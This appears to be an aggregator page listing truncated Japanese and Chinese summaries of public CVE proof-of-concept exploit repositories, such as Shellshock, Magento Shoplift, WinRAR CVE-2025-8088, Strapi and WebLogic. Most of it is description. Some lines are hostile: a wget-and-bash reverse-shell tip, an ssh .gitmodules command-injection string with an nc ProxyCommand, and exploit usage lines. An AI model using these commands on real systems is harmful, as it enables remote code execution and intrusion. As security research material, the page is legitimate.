HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

このタイプの攻撃は、PHPアプリケーションのデシリアライズ処理を悪用して、任意のコードを実行したり、サーバー上で意図しないアクションを実行しようとします。 緩和戦略 PHPオブジェクトインジェクションおよび同様の攻撃から防御するには、以下の戦略を検討してください。 PHPオブジェクトのデシリアライズを無効にする : ユーザー制御の入力に対してunserializeを使用しないでください。本質的に安全ではありません。 JSONシリアライズを使用する :...

CVE-2014-6271

Shellshock脆弱性チェッカー このスクリプトは、ウェブサイトがShellshock脆弱性（CVE-2014-6271）に対して脆弱かどうかをチェックします。 概要: Shellshock脆弱性（別名Bashdoor）は、2014年9月にUnix Bashシェルで発見されたセキュリティ上の欠陥です。この脆弱性により、攻撃者はBashが環境変数を処理する方法の欠陥を悪用して、システム上で任意のコードやコマンドを実行できます。これにより、攻撃者は脆弱なシステムを完全に制御できる可能性があります。 使用方法:...

Magento-eCommerce-RCE-CVE-2015-1397

Magento Shoplift Exploit SUPEE-5344 - CVE-2015-1397 概要 このスクリプトは、MagentoのCVE-2015-1397 脆弱性（通称Magento Shopliftエクスプロイト）を悪用します。SQLペイロードを注入することで、Magentoデータベースに新しい管理者ユーザーを作成できます。 元々はManish Kishan Tanwar error1046 によってPythonで記述されましたが、このバージョンはDivine Clown 0xDTC によってBash に変換され、認証情報を対話的に入力できるプロンプトを備えています。 ...

CVE-2025-8088-Exploit

CVE-2025-8088 WinRARエクスプロイト 🔓 WinRARの脆弱性（CVE-2025-8088）の概念実証エクスプロイトで、バージョン7.12以下に影響します。このツールは、悪意のあるRARアーカイブを作成し、ペイロードを代替データストリーム（ADS）にパストラバーサルを伴って埋め込み、任意のコード実行につながる可能性があります。 他の多くのエクスプロイトの問題点は、複数のADSストリームを埋め込んでおらず、正しいパストラバーサルを偶然見つけるか、正確なユーザー名/展開ディレクトリを知っている必要があることです。 🚀 動作の仕組み 1. おとりのドキュメント作成 📄 -...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE ホワイトハットスクール 第4期 32班 - 우상범 @taka3636 概要 EJS Hello のように、HTML内にタグでJavaScriptを埋め込み、動的な画面を生成します。内部的には、EJSはテンプレート文字列をJavaScript関数にコンパイルした後、実行して最終的なHTMLを生成します。つまり、「文字（テンプレート）を実行コード（関数）に変換する」コードジェネレーターであり、この性質が本脆弱性の根本的な背景となっています。 CVE-2022-29078の紹介 EJS 3.1.7 は、レンダリングオプション...

CVE-2023-4220

CVE-2023-4220 概念验证漏洞利用代码 受影响的产品 ：Chamilo = 1.11.24 该 CVE 利用了 Chamilo 1.11.24 及更低版本中未经身份验证的文件上传漏洞。攻击者能够无任何限制地上传 PHP 文件，从而导致远程代码执行（RCE）。 使用方法 root@kitploit: python3 exploit.py -u URL -c COMMAND...

CVE-2025-26633

CVE-2025-26633 - MSC EvilTwin PoC Microsoft Management Console MMC を悪用する CVE-2025-26633 脆弱性の概念実証 PoC 概要 この PoC は、Trend Micro によって発見された CVE-2025-26633 脆弱性をシミュレートしたものです。この脆弱性は、悪意のある .msc ファイルの読み込みを悪用し、MMC コンテキスト内で HTML と ActiveX を介したリモートコマンド実行を可能にします。 注意 この PoC は教育目的 であり、管理され認可された環境でのみ 実行する必要があります。...

CVE-2025-58180

CVE-2025-58180 OctoPrint のファイルアップロードにおける無害化されていないファイル名によるRCE OctoPrint バージョン =1.11.2 において、ファイルアップロードアクセス（有効なAPIキーやセッションなど）を持つ攻撃者は、サニタイズ（無害化）をバイパスし、後に OctoPrint のイベントシステムによって実行される悪意のあるファイル名を作成できます。これにより、ホスト上でリモートコード実行（RCE）が発生します。 PoC: 脆弱性再現の手順 ステップ 1: バージョン情報 最新安定版リリースをダウンロード: OctoPrint 1.11.2 ステッ...

cve-2025-55182-poc

CVE-2025-55182 React2Shell - 学術的概念実証 ⚠️ 免責事項: 教育目的のみ このリポジトリには、重大な脆弱性（CVSS 10.0）に対する機能的なエクスプロイトコードが含まれています。これは、厳密に学術研究、セキュリティ分析、および教育目的を意図しています。自分が所有していない、または明示的なテスト許可を得ていないシステムに対してこのコードを使用しないでください。著者は、いかなる誤用に対しても責任を負いません。 📄 概要 このプロジェクトは、React Server Components RSC...

CVE-2019-19609-POC-Python

该脚本将尝试将密码重置为"updatedpass"变量中声明的值；如果成功，它将从Strapi获取一个JWT令牌，并使用该令牌执行命令。 执行绑定命令无效，除非发送反向Shell载荷（使用bash或python等）。你可以生成一个.sh文件，该文件会为你下载nc并执行它，或者任何其他内容，甚至ELF文件。为此，请将payloadexp从&&改为。例如：&& $wget xxxx -O /tmp/oooo; bash /tmp/ooo URL 不再有效。...

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-

ポイントツーポイントプロトコルデーモンRCE脆弱性-CVE-2020-8597- Sri Lanka Institute of Information Technology root@kitploit: 課題 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 ポイントツーポイントプロトコルデーモンRCE 脆弱性（CVE-2020-8597） システムおよびネットワークプログラミング– IE2012 目次 1. はじめに 2. 脆弱性を発見した人物 3. 発見方法 4. 発見時期 5. 引き起こし得る被害 6. 悪用手法 7. 選択した悪用方法 8...

CVE-2019-2725

CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 payload builder & exploit Info / Help root@kitploit: $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | |...

CVE-2023-51385_test

CVE-2023-51385 の検証 まず、/.ssh/config に以下の内容を追加する必要があります root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules ファイルの文にはコマンドインジェクションが存在します root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定が完了したら、以下のコマンドを実行してトリガーします root@kitploi...

Hacking-pdf.js-vulnerability

🚨 CVE-2024-4367: PDF.js における任意の JavaScript 実行 このプロジェクトは、CVE-2024-4367 を実演・分析します。これは Mozilla の PDF.js ライブラリにおける深刻度の高い脆弱性であり、フォント処理コードでの不適切な型チェックを通じて任意の JavaScript 実行を可能にします。我々の研究は、悪意を持って作成された PDF が Electron アプリなどのコンテキストで JavaScript を実行し、潜在的にリモートコード実行にエスカレーションする方法を示します。 🔗 GitHub リポジトリ :...

CVE-2021-30860

CVE-2021-30860 CVE-2021-30860（FORCEDENTRY）は、MacOS、iOS、WatchOSにおける既知の脆弱性です。この脆弱性により、「悪意を持って細工されたPDF」を被害者のデバイスに送信することで、任意のコード実行が可能になります。 この脆弱性は、2021年9月13日にAppleによって次のバージョンで修正されました。 iOS 14.8 OSX Big Sur 11.6、Security Update 2021-005 Catalina WatchOS 7.6.2 しかし、2021年2月以降、実際に悪用されていました。 目的...

westone-CVE-2021-21972-scanner

westone-CVE-2021-21972-scanner VMware vCenter Server のリモートコード実行の脆弱性です。ポート 443 にアクセスできる悪意のある攻撃者は、細工されたリクエストを vCenter Server に送信することで、最終的にリモートでの任意のコード実行を引き起こす可能性があります。 インストールと使用方法 git clone https://github.com/Osyanina/westone-CVE-2021-21972-scanner.git cd westone-CVE-2021-21972-scanner cmd...

cve-2019-9193

CVE-2019-9193 • CVE-2019-9193 漏洞 PostgreSQL 通过“COPY TO / FROM PROGRAM”功能，可以在数据库的操作系统内执行任意代码的漏洞。 攻击向量涉及“SuperUser”和“pgexecuteserverprogram”组的用户。...

exploit_cve_2025_67303

exploitcve202567303 创建 CVE-2025-67303 的概念验证（PoC） 原始 PoC 位于 https://www.doyensec.com/resources/DoyensecAdvisoryComfyUIManagerRCEviaCustomNodeInstall.pdf...

CVE-2020-27955

CVE-2020-27955 脆弱性の再現 1、Windowsマシンで脆弱性のあるバージョンのGit-LFSをダウンロード ダウンロードURL：https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2、Windowsマシンにインストールし、hostsファイルに以下の情報を追加します。10.1.1.5 は nc が 8888 ポートをリッスンするホストです（必要に応じて置き換えてください） 10.1.1.5 abcall.xyz 3、10.1.1.5 ホストで nc がポート 8888...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPressプラグイン ACF City Selector （バージョン = 1.14.0）で見つかった任意ファイルアップロード 脆弱性であるCVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに悪意のあるPHPファイル（ウェブシェル）をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE詳細 CVE ID:...